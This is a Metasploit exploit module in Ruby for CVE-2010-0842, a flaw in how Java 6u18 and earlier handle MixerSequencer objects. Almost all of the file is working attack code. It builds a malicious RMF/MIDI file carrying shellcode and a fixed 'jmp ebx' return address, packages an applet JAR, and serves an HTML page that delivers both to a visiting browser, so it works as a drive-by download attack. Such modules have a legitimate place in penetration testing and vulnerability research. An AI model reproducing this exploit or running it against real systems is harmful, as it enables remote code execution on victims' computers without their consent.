197 lines
6.2 KiB
Ruby
197 lines
6.2 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info={})
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super(update_info(info,
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'Name' => "Java MixerSequencer Object GM_Song Structure Handling Vulnerability",
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'Description' => %q{
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This module exploits a flaw within the handling of MixerSequencer objects
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in Java 6u18 and before.
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Exploitation id done by supplying a specially crafted MIDI file within an RMF
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File. When the MixerSequencer objects is used to play the file, the GM_Song
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structure is populated with a function pointer provided by a SONG block in the
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RMF. A Midi block that contains a MIDI with a specially crafted controller event
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is used to trigger the vulnerability.
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When triggering the vulnerability "ebx" points to a fake event in the MIDI file
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which stores the shellcode. A "jmp ebx" from msvcr71.dll is used to make the
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exploit reliable over java updates.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Peter Vreugdenhil', # Vulnerability Discovery and exploit
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'juan vazquez', # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2010-0842' ],
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[ 'OSVDB', '63493'],
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[ 'BID', '39077'],
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[ 'ZDI', '10-060' ],
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[ 'URL', 'http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/']
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],
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'Payload' =>
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{
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'Space' => 8000,
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => "process",
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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# Tested succesfully on:
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# Windows XP SP3 / IE 6 / Java 6u18
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# Windows XP SP3 / IE 7 / Java 6u18
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# Windows XP SP3 / IE 8 / Java 6u18
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# Windows XP SP3 / Firefox 7.0.1 / Java 6u18
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# Windows XP SP3 / IE 8 / Java 6u17
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# Windows XP SP3 / Firefox 7.0.1 / Java 6u17
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# Windows 7 / IE 8 / Java 6u18
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'Windows / Java 6 <=u18',
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{
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'Ret' => 0x7C35A78D # jmp ebx # msvcr71.dll
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => "Mar 30 2010",
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'DefaultTarget' => 0))
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end
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def get_rmf
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rmf_header = ""
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rmf_header << "IREZ" # RMFHeaderMagic
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rmf_header << "\x00\x00\x00\x01" # RMFVersionNumber
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rmf_header << "\x00\x00\x00\x02" # NumberOfRMFBlocks
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song_block = ""
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song_block << "\x00\x00\x00\x65" # OffsetToNextBlock
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song_block << "SONG" # BlockType
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song_block << [target.ret].pack("N") # BlockID
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song_block << "\x00" # BlockName
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song_block << "\x00\x00\x00\x47" # BlockDataSize
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song_block << "\x7F\xFF\x00\x01\x00\x00\x01\x01" # BlockData
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song_block << "\x00\x00\x00\x04\x00\x1C\x00\x08" # BlockData
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song_block << "\x00\x7F\x00\x00\x00\x00\x00\x00" # BlockData
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song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData
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song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData
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song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData
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song_block << "\x00\x01\x54\x49\x54\x4C\x9F\xB1" # BlockData
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song_block << "\xB5\x0D\x0A\x7E\xFB\x70\x9C\x86" # BlockData
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song_block << "\xFE\xB0\x35\x93\xE2\x5E\xDE\xF7" # BlockData
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midi = ""
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# HEADERCHUNK Header
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midi << "MThd" # Header
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midi << "\x00\x00\x00\x06" # Chunk size
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midi << "\x00\x01" # Format Type
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midi << "\x00\x01" # Number of tracks
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midi << "\x00\x08" # Time division
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# TRACKCHUNK header
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midi << "MTrk" # Header
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midi << "\x00\x00\x24\xd7" # Length
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midi << "\x00\xb0\x80\x00" # Controller Event # Triggers the vulnerability
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# Fake Midi Meta event - Shellcode
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midi << "\x38" # Variable lenght delta time
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midi << "\xff" # Midi meta event
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midi << "\x02" # Meta event type 02 => Copyright notice
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midi << "\xc9\x50" # Variable Meta Event Length
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midi << payload.encoded
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midi << rand_text(9123 - payload.encoded.length)
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midi_block = "\x00\x00\x25\x60" # OffsetToNextBlock
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midi_block << "Midi" # BlockType
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midi_block << "\x00\x00\x7f\xff" # BlockID
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midi_block << "\x00" # BlockName
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midi_block << "\x00\x00\x24\xed" # BlockDataSize
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midi_block << midi # BlockData
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rmf = ""
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rmf << rmf_header
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rmf << song_block
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rmf << midi_block
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rmf_name = "#{rand_text_alpha(rand(5) + 3)}.rmf"
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return rmf_name, rmf
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end
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def get_jar
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files = [
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[ "MyController.class" ],
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[ "MixerMidiApplet.class" ],
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[ "META-INF", "services", "javax.sound.midi.spi.MidiDeviceProvider" ]
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]
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jar = Rex::Zip::Jar.new
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jar.add_file("META-INF/", "")
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jar.add_file("META-INF/services/", "")
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jar.add_files(files, File.join(Msf::Config.data_directory, "exploits", "CVE-2010-0842"))
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jar.build_manifest
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jar_name = "#{rand_text_alpha(rand(5) + 3)}.jar"
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return jar_name, jar
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end
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def on_request_uri(cli, request)
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if request.uri =~ /\.jar$/i
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print_status("Sending JAR")
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send_response(cli, @jar.pack, {'Content-Type'=>'application/octet-strem'})
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return
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end
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if request.uri =~ /\.rmf$/i
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print_status("Sending RMF file")
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send_response(cli, @rmf, {'Content-Type'=>'application/octet-strem'})
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return
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end
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base_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
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rmf_uri = base_uri + "/#{@rmf_name}"
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jar_uri = base_uri + "/#{@jar_name}"
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html = %Q|
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<html>
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<head>
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</head>
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<body>
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<applet code="MixerMidiApplet.class" archive="#{jar_uri}" width=350 height=200>
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<param name="midifile" valuetype="ref" value="#{rmf_uri}">
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</applet>
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</body>
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</html>
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html = html.gsub(/^\t\t/, '')
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print_status("Sending HTML")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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def exploit
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@jar_name, @jar = get_jar
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@rmf_name, @rmf = get_rmf
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super
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end
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end
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